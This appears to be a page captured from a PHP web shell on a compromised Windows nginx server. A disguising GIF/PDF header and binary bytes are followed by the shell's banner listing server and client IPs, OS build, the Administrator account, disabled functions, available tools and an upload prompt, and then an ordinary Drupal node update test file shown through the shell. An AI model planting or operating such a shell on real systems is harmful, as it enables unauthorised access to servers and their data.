GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/node/src/Tests/Update/ |
Upload File : |
<?php namespace Drupal\node\Tests\Update; use Drupal\system\Tests\Update\UpdatePathTestBase; /** * Tests that node settings are properly updated during database updates. * * @group node */ class NodeUpdateTest extends UpdatePathTestBase { /** * {@inheritdoc} */ protected function setDatabaseDumpFiles() { $this->databaseDumpFiles = [ __DIR__ . '/../../../../system/tests/fixtures/update/drupal-8-rc1.bare.standard.php.gz', ]; } /** * Tests that the node entity type has a 'published' entity key. * * @see node_update_8301() */ public function testPublishedEntityKey() { // Check that the 'published' entity key does not exist prior to the update. $entity_type = \Drupal::entityDefinitionUpdateManager()->getEntityType('node'); $this->assertFalse($entity_type->getKey('published')); // Run updates. $this->runUpdates(); // Check that the entity key exists and it has the correct value. $entity_type = \Drupal::entityDefinitionUpdateManager()->getEntityType('node'); $this->assertEqual('status', $entity_type->getKey('published')); } }